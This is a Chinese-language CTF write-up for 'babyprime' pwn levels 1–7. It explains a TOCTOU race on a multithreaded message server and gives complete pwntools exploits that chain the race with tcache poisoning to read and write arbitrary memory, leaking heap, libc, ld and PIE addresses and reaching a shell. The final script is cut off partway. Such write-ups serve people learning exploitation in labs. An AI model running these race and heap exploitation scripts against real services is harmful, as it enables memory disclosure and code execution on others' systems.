# 前言
盲猜这章是 FSOP 综合利用，但是看到第一题就傻眼了。预知后事如何，请看 wp（
# Level 1
## Information
- Category: Pwn
## Description
> Create and use arbitrary read primitives to read from the .bss.
## Write-up
本来以为这章顶多就是 Heap + FSOP 综合利用，但是没想到是 Race Conditions + Heap +
FSOP……没怎么做过 Race Condition 的我直接人傻了（
但是我又不想为此先去把 Race Conditions 那章做完，那咋办？忍了呗……相信自己的学习
能力<s>/自信</s>
~~敲黑板，像这样详细的 wp 我大概只会写这一次，后面的题就简单说思路，不细写了。~~
首先是下面这个好像很熟悉实则不然的多线程服务器，不讲了（
不记得的去看我的[笔记](https://www.cubeyond.net/posts/cs-notes/csapp/#network-pr
ogramming)复习吧～~~其实我一开始也忘差不多了（bushi~~
直接跟进到核心函数：
```c
int challenge()
{
int result; // eax
const char *v1; // rax
int v2; // ebx
char *s1_1; // rax
int v4; // [rsp+2Ch] [rbp-424h] BYREF
char s1[1032]; // [rsp+30h] [rbp-420h] BYREF
unsigned __int64 v6; // [rsp+438h] [rbp-18h]
v6 = __readfsqword(0x28u);
fwrite("Welcome to the message server!n", 1u, 0x1Fu, (FILE *)__readfsqword(0xF
FFFFFF8));
fwrite("Commands: malloc/free/scanf/printf/send_flag/quit.n", 1u, 0x33u, (FILE
*)__readfsqword(0xFFFFFFF8));
while ( 1 )
{
result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%1024s", s1);
if ( result == -1 )
break;
if ( !strcmp(s1, "printf") )
{
result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%d", &v4);
if ( result == -1 )
return result;
v1 = stored[v4] ? (const char *)*((_QWORD *)&messages + v4) : "NONE";
result = fprintf((FILE *)__readfsqword(0xFFFFFFF8), "MESSAGE: %sn", v1);
if ( result < 0 )
return result;
}
else if ( !strcmp(s1, "malloc") )
{
result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%d", &v4);
if ( result == -1 )
return result;
if ( !stored[v4] )
{
v2 = v4;
*((_QWORD *)&messages + v2) = malloc(0x400u);
}
stored[v4] = 1;
}
else if ( !strcmp(s1, "scanf") )
{
result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%d", &v4);
if ( result == -1 )
return result;
if ( stored[v4] )
s1_1 = (char *)*((_QWORD *)&messages + v4);
else
s1_1 = s1;
__isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%1024s", s1_1);
}
else if ( !strcmp(s1, "free") )
{
result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%d", &v4);
if ( result == -1 )
return result;
if ( stored[v4] )
free(*((void **)&messages + v4));
stored[v4] = 0;
}
else if ( !strcmp(s1, "send_flag") )
{
fwrite("Secret: ", 1u, 8u, (FILE *)__readfsqword(0xFFFFFFF8));
__isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%1024s", s1);
if ( (unsigned __int8)secret_correct(s1) )
{
fwrite("Authorized!n", 1u, 0xCu, (FILE *)__readfsqword(0xFFFFFFF8));
win();
}
else
{
fwrite("Not authorized!n", 1u, 0x10u, (FILE *)__readfsqword(0xFFFFFFF8))
;
}
}
else
{
result = strcmp(s1, "quit");
if ( !result )
return result;
fwrite("Unrecognized choice!n", 1u, 0x15u, (FILE *)__readfsqword(0xFFFFFFF
8));
}
}
return result;
}
```
咋一看还挺安全，没有溢出，没有 UAF，好像无懈可击的鸭子。
~~内心 OS: wth 第一题就这样恶心我！？那还学个屁，埋了吧（~~
好吧，稍微用心想想的话，其实还是有很大的问题的……注意，这是一个多线程服务器，允许
我们创建无限的连接进行交互，但是程序在操作 `stored` 全局数组的时候操作并不是 ato
mic 的，也没有为其加锁，那那那，na 这不就存在一个潜在的 race condition 吗？并且
在这种情况下可以归类为 `Time-of-Check to Time-of-Use (TOCTOU)` 型的条件竞争，因
为在每次操作前都检查了 stored 数组然后才执行操作，检查和实际 action 之间有一个 t
iny gap 可以被利用。最后，又因为 tcache 不检查 chunk metadata，所以接下来打一个
tcache poisoning 就可以任意读了。
其实我也不是完全不懂 race condition 的 xD，同样，忘记的可以看我[笔记](https://ww
w.cubeyond.net/posts/cs-notes/csapp/#processes)。
~~OK, 讲完了/逃 bro 现在凌晨三点，实在是不想写了，各位师傅还是直接看 exp 吧去感
悟吧，反正像这种菜鸟题也没人看（~~
## Exploit
```python
#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
context,
flat,
os,
process,
raw_input,
remote,
)
parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()
FILE = "/challenge/babyprime_level1.0"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def printf(tid, idx):
thread[tid].sendline(f"printf {idx}".encode())
def malloc(tid, idx):
thread[tid].sendline(f"malloc {idx}".encode())
def scanf(tid, idx, content):
thread[tid].sendline(f"scanf {idx} {content}".encode())
def free(tid, idx):
thread[tid].sendline(f"free {idx}".encode())
def send_flag(tid, secret):
thread[tid].sendline(b"send_flag")
thread[tid].sendlineafter(b"Secret: ", secret)
def quit(tid):
thread[tid].sendline(b"quit")
def arbitrary_read(addr):
while True:
thread[0].send((b"malloc 0 free 0n") * 10000)
if os.fork() == 0:
thread[1].send((b"scanf 0" + flat(addr) + b"n") * 10000)
os.kill(os.getpid(), 9)
os.wait()
malloc(0, 0)
printf(0, 0)
thread[0].recvuntil(b"MESSAGE: ")
poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
if flat(poisoned) == flat(addr):
break
malloc(0, 1)
printf(0, 1)
thread[0].recvuntil(b"MESSAGE: ")
return thread[0].recvline().strip()
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target, thread
if args.L and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.L:
target = process(FILE)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(FILE)
thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
malloc(0, 0)
malloc(0, 1)
free(0, 1)
free(0, 0)
malloc(0, 0)
malloc(0, 1)
printf(0, 0)
thread[0].recvuntil(b"MESSAGE: ")
heap = int.from_bytes(thread[0].recvline().strip(), "little")
printf(0, 1)
thread[0].recvuntil(b"MESSAGE: ")
pos = int.from_bytes(thread[0].recvline().strip(), "little")
heap = demangle(heap, pos)
thread[0].success(f"pos: {hex(pos)}")
thread[0].success(f"heap: {hex(heap)}")
malloc(0, 0)
malloc(0, 1)
free(0, 1)
free(0, 0)
raw_input("DEBUG")
secret = 0x4054C0
secret = arbitrary_read(mangle(pos - 1, secret))
send_flag(0, secret)
quit(0)
quit(1)
thread[0].interactive()
if __name__ == "__main__":
main()
```
# Level 2
## Information
- Category: Pwn
## Description
> Create and use arbitrary read primitives to read from a thread's heap.
## Write-up
太简单不讲。
## Exploit
```python
#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
context,
flat,
os,
process,
raw_input,
remote,
)
parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()
FILE = "/challenge/babyprime_level2.0"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def printf(tid, idx):
thread[tid].sendline(f"printf {idx}".encode())
def malloc(tid, idx):
thread[tid].sendline(f"malloc {idx}".encode())
def scanf(tid, idx, content):
thread[tid].sendline(f"scanf {idx} {content}".encode())
def free(tid, idx):
thread[tid].sendline(f"free {idx}".encode())
def send_flag(tid, secret):
thread[tid].sendline(b"send_flag")
thread[tid].sendlineafter(b"Secret: ", secret)
def quit(tid):
thread[tid].sendline(b"quit")
def arbitrary_read(addr):
while True:
thread[0].send((b"malloc 0 free 0n") * 10000)
if os.fork() == 0:
thread[1].send((b"scanf 0" + flat(addr) + b"n") * 10000)
os.kill(os.getpid(), 9)
os.wait()
malloc(0, 0)
printf(0, 0)
thread[0].recvuntil(b"MESSAGE: ")
poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
if flat(poisoned) == flat(addr):
break
malloc(0, 1)
printf(0, 1)
thread[0].recvuntil(b"MESSAGE: ")
return thread[0].recvline().strip()
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target, thread
if args.L and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.L:
target = process(FILE)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(FILE)
thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
malloc(0, 0)
malloc(0, 1)
free(0, 1)
free(0, 0)
malloc(0, 0)
malloc(0, 1)
printf(0, 0)
thread[0].recvuntil(b"MESSAGE: ")
heap = int.from_bytes(thread[0].recvline().strip(), "little")
printf(0, 1)
thread[0].recvuntil(b"MESSAGE: ")
pos = int.from_bytes(thread[0].recvline().strip(), "little")
heap = demangle(heap, pos)
thread[0].success(f"pos: {hex(pos)}")
thread[0].success(f"heap: {hex(heap)}")
malloc(0, 0)
malloc(0, 1)
free(0, 1)
free(0, 0)
raw_input("DEBUG")
secret = heap - 0x431
secret = arbitrary_read(mangle(pos - 1, secret))
thread[0].success(secret)
send_flag(0, secret)
quit(0)
quit(1)
thread[0].interactive()
if __name__ == "__main__":
main()
```
# Level 3
## Information
- Category: Pwn
## Description
> Create and use arbitrary read primitives to read from a thread's stack.
## Write-up
这次分配到线程栈上去了，线程栈和 libc 有固定偏移，所以弄到 libc 就知道栈地址了。
## Exploit
```python
#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
context,
flat,
os,
process,
raw_input,
remote,
)
parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()
FILE = "/challenge/babyprime_level3.0"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def printf(tid, idx):
thread[tid].sendline(f"printf {idx}".encode())
def malloc(tid, idx):
thread[tid].sendline(f"malloc {idx}".encode())
def scanf(tid, idx, content):
thread[tid].sendline(f"scanf {idx} {content}".encode())
def free(tid, idx):
thread[tid].sendline(f"free {idx}".encode())
def send_flag(tid, secret):
thread[tid].sendline(b"send_flag")
thread[tid].sendlineafter(b"Secret: ", secret)
def quit(tid):
thread[tid].sendline(b"quit")
def arbitrary_read(poison_idx, result_idx, addr):
while True:
thread[0].send((f"malloc {poison_idx} free {poison_idx}n".encode()) * 10
000)
if os.fork() == 0:
thread[1].send(
(f"scanf {poison_idx}".encode() + flat(addr) + b"n") * 10000
)
os.kill(os.getpid(), 9)
os.wait()
malloc(0, poison_idx)
printf(0, poison_idx)
thread[0].recvuntil(b"MESSAGE: ")
poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
if flat(poisoned) == flat(addr):
break
malloc(0, result_idx)
raw_input("DEBUG")
printf(0, result_idx)
thread[0].recvuntil(b"MESSAGE: ")
return thread[0].recvline().strip()
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target, thread
if args.L and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.L:
target = process(FILE)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(FILE)
thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
malloc(0, 0)
malloc(0, 1)
free(0, 1)
free(0, 0)
malloc(0, 0)
malloc(0, 1)
printf(0, 0)
thread[0].recvuntil(b"MESSAGE: ")
heap = int.from_bytes(thread[0].recvline().strip(), "little")
printf(0, 1)
thread[0].recvuntil(b"MESSAGE: ")
pos = int.from_bytes(thread[0].recvline().strip(), "little")
heap = demangle(heap, pos)
main_arena_ptr = heap - 0xAA1
thread[0].success(f"pos: {hex(pos)}")
thread[0].success(f"heap: {hex(heap)}")
thread[0].success(f"main_arena_ptr: {hex(main_arena_ptr)}")
malloc(0, 0)
malloc(0, 1)
free(0, 1)
free(0, 0)
libc.address = (
int.from_bytes(arbitrary_read(0, 1, mangle(pos - 1, main_arena_ptr)), "l
ittle")
- 0x219C80
)
secret = libc.address - 0x4740
thread[0].success(f"libc: {hex(libc.address)}")
thread[0].success(f"secret: {hex(secret)}")
malloc(0, 2)
malloc(0, 4)
free(0, 4)
free(0, 2)
raw_input("DEBUG")
secret = arbitrary_read(2, 4, mangle(pos, secret))
send_flag(0, secret)
quit(0)
quit(1)
thread[0].interactive()
if __name__ == "__main__":
main()
```
# Level 4
## Information
- Category: Pwn
## Description
> Create and use arbitrary read primitives to read from the .bss, now with PIE.
## Write-up
注意权限问题，`p2p` 是你的好朋友。好啦，尽情去寻找虚拟内存地址空间中那块属于你的
，闪闪发光的垃圾吧～
## Exploit
```python
#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
context,
flat,
os,
process,
raw_input,
remote,
)
parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()
FILE = "/challenge/babyprime_level4.0"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def printf(tid, idx):
thread[tid].sendline(f"printf {idx}".encode())
def malloc(tid, idx):
thread[tid].sendline(f"malloc {idx}".encode())
def scanf(tid, idx, content):
thread[tid].sendline(f"scanf {idx} {content}".encode())
def free(tid, idx):
thread[tid].sendline(f"free {idx}".encode())
def send_flag(tid, secret):
thread[tid].sendline(b"send_flag")
thread[tid].sendlineafter(b"Secret: ", secret)
def quit(tid):
thread[tid].sendline(b"quit")
def arbitrary_read(poison_idx, result_idx, addr):
BAD_BYTES = {b"x20", b"x0c", b"x0a", b"x0d", b"x09", b"x0b"}
packed_addr = flat(addr)
if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
raise ValueError(
f"Address {hex(addr)} contains a bad byte for scanf: {packed_addr.he
x()}"
)
while True:
thread[0].send((f"malloc {poison_idx} free {poison_idx}n".encode()) * 10
000)
if os.fork() == 0:
thread[1].send(
(f"scanf {poison_idx}".encode() + flat(addr) + b"n") * 10000
)
os.kill(os.getpid(), 9)
os.wait()
malloc(0, poison_idx)
printf(0, poison_idx)
thread[0].recvuntil(b"MESSAGE: ")
poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
if flat(poisoned) == packed_addr:
break
raw_input("DEBUG")
malloc(0, result_idx)
printf(0, result_idx)
thread[0].recvuntil(b"MESSAGE: ")
return thread[0].recvline().strip()
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target, thread
if args.L and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.L:
target = process(FILE)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(FILE)
thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
malloc(0, 0)
malloc(0, 1)
free(0, 1)
free(0, 0)
malloc(0, 0)
malloc(0, 1)
printf(0, 0)
thread[0].recvuntil(b"MESSAGE: ")
heap = int.from_bytes(thread[0].recvline().strip(), "little")
printf(0, 1)
thread[0].recvuntil(b"MESSAGE: ")
pos = int.from_bytes(thread[0].recvline().strip(), "little")
heap = demangle(heap, pos)
main_arena_ptr = heap - 0xAA1
thread[0].success(f"pos: {hex(pos)}")
thread[0].success(f"heap: {hex(heap)}")
thread[0].success(f"main_arena_ptr: {hex(main_arena_ptr)}")
raw_input("DEBUG")
malloc(0, 0)
malloc(0, 1)
free(0, 1)
free(0, 0)
libc.address = (
int.from_bytes(arbitrary_read(0, 1, mangle(pos - 1, main_arena_ptr)), "l
ittle")
- 0x219C80
)
ld_ptr = libc.address + 0x219010
thread[0].success(f"libc: {hex(libc.address)}")
thread[0].success(f"ld_ptr: {hex(ld_ptr)}")
raw_input("DEBUG")
malloc(0, 2)
malloc(0, 4)
free(0, 4)
free(0, 2)
ld = int.from_bytes(arbitrary_read(2, 4, mangle(pos, ld_ptr)), "little") - 0
x15C60
pie_ptr = ld + 0x3B2F0
thread[0].success(f"ld: {hex(ld)}")
thread[0].success(f"pie_ptr: {hex(pie_ptr)}")
raw_input("DEBUG")
malloc(0, 3)
malloc(0, 5)
free(0, 5)
free(0, 3)
elf.address = (
int.from_bytes(arbitrary_read(3, 5, mangle(pos, pie_ptr)), "little") - 0
x4CA8
)
secret_ptr = elf.address + 0x53C0
thread[0].success(f"pie: {hex(elf.address)}")
thread[0].success(f"secret: {hex(secret_ptr)}")
raw_input("DEBUG")
malloc(0, 6)
malloc(0, 7)
free(0, 7)
free(0, 6)
secret = arbitrary_read(6, 7, mangle(pos, secret_ptr + 0x3))
send_flag(0, secret)
quit(0)
quit(1)
thread[0].interactive()
if __name__ == "__main__":
main()
```
# Level 5
## Information
- Category: Pwn
## Description
> Create and use arbitrary read primitives to read from the environment.
## Write-up
探索探索内存，探探探就出来了。
## Exploit
```python
#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
context,
flat,
os,
process,
raw_input,
remote,
)
parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()
FILE = "/challenge/babyprime_level5.0"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def printf(tid, idx):
thread[tid].sendline(f"printf {idx}".encode())
def malloc(tid, idx):
thread[tid].sendline(f"malloc {idx}".encode())
def scanf(tid, idx, content):
thread[tid].sendline(f"scanf {idx} {content}".encode())
def free(tid, idx):
thread[tid].sendline(f"free {idx}".encode())
def send_flag(tid, secret):
thread[tid].sendline(b"send_flag")
thread[tid].sendlineafter(b"Secret: ", secret)
def quit(tid):
thread[tid].sendline(b"quit")
def arbitrary_read(poison_idx, result_idx, addr):
BAD_BYTES = {b"x20", b"x0c", b"x0a", b"x0d", b"x09", b"x0b"}
packed_addr = flat(addr)
if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
raise ValueError(
f"Address {hex(addr)} contains a bad byte for scanf: {packed_addr.he
x()}"
)
while True:
thread[0].send((f"malloc {poison_idx} free {poison_idx}n".encode()) * 10
000)
if os.fork() == 0:
thread[1].send(
(f"scanf {poison_idx}".encode() + flat(addr) + b"n") * 10000
)
os.kill(os.getpid(), 9)
os.wait()
malloc(0, poison_idx)
printf(0, poison_idx)
thread[0].recvuntil(b"MESSAGE: ")
poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
if flat(poisoned) == packed_addr:
break
raw_input("DEBUG")
malloc(0, result_idx)
printf(0, result_idx)
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target, thread
if args.L and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.L:
target = process(FILE)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(FILE)
thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
malloc(0, 0)
malloc(0, 1)
free(0, 1)
free(0, 0)
malloc(0, 0)
malloc(0, 1)
printf(0, 0)
thread[0].recvuntil(b"MESSAGE: ")
heap = int.from_bytes(thread[0].recvline().strip(), "little")
printf(0, 1)
thread[0].recvuntil(b"MESSAGE: ")
pos = int.from_bytes(thread[0].recvline().strip(), "little")
heap = demangle(heap, pos)
main_arena_ptr = heap - 0xAA1
thread[0].success(f"pos: {hex(pos)}")
thread[0].success(f"heap: {hex(heap)}")
thread[0].success(f"main_arena_ptr: {hex(main_arena_ptr)}")
raw_input("DEBUG")
malloc(0, 0)
malloc(0, 1)
free(0, 1)
free(0, 0)
arbitrary_read(0, 1, mangle(pos - 1, main_arena_ptr))
thread[0].recvuntil(b"MESSAGE: ")
libc.address = int.from_bytes(thread[0].recvline().strip(), "little") - 0x21
9C80
known_values = libc.address + 0x21AEC0
thread[0].success(f"libc: {hex(libc.address)}")
thread[0].success(f"known_values: {hex(known_values)}")
raw_input("DEBUG")
malloc(0, 2)
malloc(0, 4)
free(0, 4)
free(0, 2)
arbitrary_read(2, 4, mangle(pos, known_values))
thread[0].recvuntil(b"MESSAGE: ")
secret = int.from_bytes(thread[0].recv(0x6), "little") - 0x30
thread[0].success(f"secret: {hex(secret)}")
raw_input("DEBUG")
malloc(0, 3)
malloc(0, 5)
free(0, 5)
free(0, 3)
arbitrary_read(3, 5, mangle(pos, secret + 0x10))
thread[0].recvuntil(b"MESSAGE: ")
secret = thread[0].recvline().strip()
thread[0].success(f"secret: {secret}")
send_flag(0, secret)
quit(0)
quit(1)
thread[0].interactive()
if __name__ == "__main__":
main()
```
# Level 6
## Information
- Category: Pwn
## Description
> Create and use arbitrary read primitives to read from the main heap.
## Write-up
培养内存侦查大头兵 ing……
## Exploit
```python
#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
context,
flat,
os,
process,
raw_input,
remote,
)
parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()
FILE = "/challenge/babyprime_level6.0"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def printf(tid, idx):
thread[tid].sendline(f"printf {idx}".encode())
def malloc(tid, idx):
thread[tid].sendline(f"malloc {idx}".encode())
def scanf(tid, idx, content):
thread[tid].sendline(f"scanf {idx} {content}".encode())
def free(tid, idx):
thread[tid].sendline(f"free {idx}".encode())
def send_flag(tid, secret):
thread[tid].sendline(b"send_flag")
thread[tid].sendlineafter(b"Secret: ", secret)
def quit(tid):
thread[tid].sendline(b"quit")
def arbitrary_read(poison_idx, result_idx, addr):
BAD_BYTES = {b"x20", b"x0c", b"x0a", b"x0d", b"x09", b"x0b"}
packed_addr = flat(addr)
if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
raise ValueError(
f"Address {hex(addr)} contains a bad byte for scanf: {packed_addr.he
x()}"
)
while True:
thread[0].send((f"malloc {poison_idx} free {poison_idx}n".encode()) * 10
000)
if os.fork() == 0:
thread[1].send(
(f"scanf {poison_idx}".encode() + flat(addr) + b"n") * 10000
)
os.kill(os.getpid(), 9)
os.wait()
malloc(0, poison_idx)
printf(0, poison_idx)
thread[0].recvuntil(b"MESSAGE: ")
poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
if flat(poisoned) == packed_addr:
break
raw_input("DEBUG")
malloc(0, result_idx)
printf(0, result_idx)
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target, thread
if args.L and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.L:
target = process(FILE)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(FILE)
thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
malloc(0, 0)
malloc(0, 1)
free(0, 1)
free(0, 0)
malloc(0, 0)
malloc(0, 1)
printf(0, 0)
thread[0].recvuntil(b"MESSAGE: ")
heap = int.from_bytes(thread[0].recvline().strip(), "little")
printf(0, 1)
thread[0].recvuntil(b"MESSAGE: ")
pos = int.from_bytes(thread[0].recvline().strip(), "little")
heap = demangle(heap, pos)
main_arena_ptr = heap - 0xAA1
thread[0].success(f"pos: {hex(pos)}")
thread[0].success(f"heap: {hex(heap)}")
thread[0].success(f"main_arena_ptr: {hex(main_arena_ptr)}")
raw_input("DEBUG")
malloc(0, 0)
malloc(0, 1)
free(0, 1)
free(0, 0)
arbitrary_read(0, 1, mangle(pos - 1, main_arena_ptr))
thread[0].recvuntil(b"MESSAGE: ")
libc.address = int.from_bytes(thread[0].recvline().strip(), "little") - 0x21
9C80
heap_ptr = libc.address + 0x219CE0
thread[0].success(f"libc: {hex(libc.address)}")
thread[0].success(f"heap_ptr: {hex(heap_ptr)}")
raw_input("DEBUG")
malloc(0, 2)
malloc(0, 4)
free(0, 4)
free(0, 2)
arbitrary_read(2, 4, mangle(pos, heap_ptr))
thread[0].recvuntil(b"MESSAGE: ")
heap = int.from_bytes(thread[0].recvline().strip(), "little")
secret = heap - 0x2B0
thread[0].success(f"heap: {hex(heap)}")
thread[0].success(f"secret: {hex(secret)}")
raw_input("DEBUG")
malloc(0, 3)
malloc(0, 5)
free(0, 5)
free(0, 3)
arbitrary_read(3, 5, mangle(pos, secret))
thread[0].recvuntil(b"MESSAGE: ")
secret = thread[0].recvline().strip()
thread[0].success(f"secret: {secret}")
send_flag(0, secret)
quit(0)
quit(1)
thread[0].interactive()
if __name__ == "__main__":
main()
```
# Level 7
## Information
- Category: Pwn
## Description
> Create and use arbitrary read/write primitives to obtain the flag.
## Write-up
一开始被这个 `flag_seed` 函数迷惑了：
```c
unsigned __int64 flag_seed()
{
unsigned int seed; // [rsp+4h] [rbp-9Ch]
unsigned int i; // [rsp+8h] [rbp-98h]
int fd; // [rsp+Ch] [rbp-94h]
_QWORD buf[17]; // [rsp+10h] [rbp-90h] BYREF
unsigned __int64 v5; // [rsp+98h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(buf, 0, 128);
fd = open("/flag", 0);
if ( fd < 0 )
__assert_fail("fd >= 0", "/mnt/pwnshop/source.c", 0x2Bu, "flag_seed");
if ( read(fd, buf, 0x80u) <= 0 )
__assert_fail("read(fd, flag, 128) > 0", "/mnt/pwnshop/source.c", 0x2Cu, "fl
ag_seed");
seed = 0;
for ( i = 0; i <= 0x1F; ++i )
seed ^= *((_DWORD *)buf + (int)i);
srand(seed);
memset(buf, 0, 0x80u);
return v5 - __readfsqword(0x28u);
}
```
注意到 `open` flag 之后并没有 `close` 那个 fd，并且下面那个 `memset` 清空了内存
中的 flag，导致我的第一反应是想办法把 flag 读回内存……但又对 `open` 这种直接返回
file descriptor 的函数感到迷惑，不晓得如何将 flag 读出来……
后来问 AI，了解了 `_IO_underflow` 好像可以读文件，然后去改线程的 stdin，然并软。
我居然在最后浪费了差不多一天后才想到，我还可以尝试 getshell 啊，草！最后发现，on
e gadget 是正确执行了，但是没回显啊……再问 AI，得知 `execve` 会杀掉原进程的所有其
它线程，当前执行 execve 的这个线程变成新进程的 main thread，并且只会继承 `proces
s-level` 的资源，比如 fd table、cwd、environ、credentials 等，不会继承任何 threa
d-level 的东西。哦～这不就是 CSAPP `fork` 那课讲的吗，~~不好意思，记性不好（bush
i~~
所以解决方法也很简单，直接 `dup2` 重定向一下 `stdin` 和 `stdout` 就好了。由于我
们要 shell，所以 `stderr` 没啥用，况且子进程本来也没设置 `stderr`，直接忽视。
## Exploit
```python
#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
FileStructure,
constants,
context,
flat,
os,
process,
raw_input,
remote,
)
parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()
FILE = "/challenge/babyprime_level7.0"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def printf(tid, idx):
thread[tid].sendline(f"printf {idx}".encode())
def malloc(tid, idx):
thread[tid].sendline(f"malloc {idx}".encode())
def scanf(tid, idx, content):
thread[tid].sendline(f"scanf {idx} {content}".encode())
def scanf_raw(tid, idx, content):
thread[tid].sendline(f"scanf {idx} ".encode() + content)
def free(tid, idx):
thread[tid].sendline(f"free {idx}".encode())
def quit(tid):
thread[tid].sendline(b"quit")
def arbitrary_read(poison_idx, result_idx, addr):
BAD_BYTES = {b"x20", b"x0c", b"x0a", b"x0d", b"x09", b"x0b"}
packed_addr = flat(addr)
if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
raise ValueError(
f"Address {hex(addr)} contains a bad byte for scanf: {packed_addr.he
x()}"
)
while True:
thread[0].send((f"malloc {poison_idx} free {poison_idx}n".encode()) * 10
000)
if os.fork() == 0:
thread[1].send(
(f"scanf {poison_idx}".encode() + packed_addr + b"n") * 10000
)
os.kill(os.getpid(), 9)
os.wait()
malloc(0, poison_idx)
printf(0, poison_idx)
thread[0].recvuntil(b"MESSAGE: ")
poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
if flat(poisoned) == packed_addr:
break
raw_input("DEBUG")
malloc(0, result_idx)
printf(0, result_idx)
def arbitrary_write(poison_idx, result_idx, addr, content):
arbitrary_read(poison_idx, result_idx, addr)
raw_input("RAW SCANF")
scanf_raw(0, result_idx, content)
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
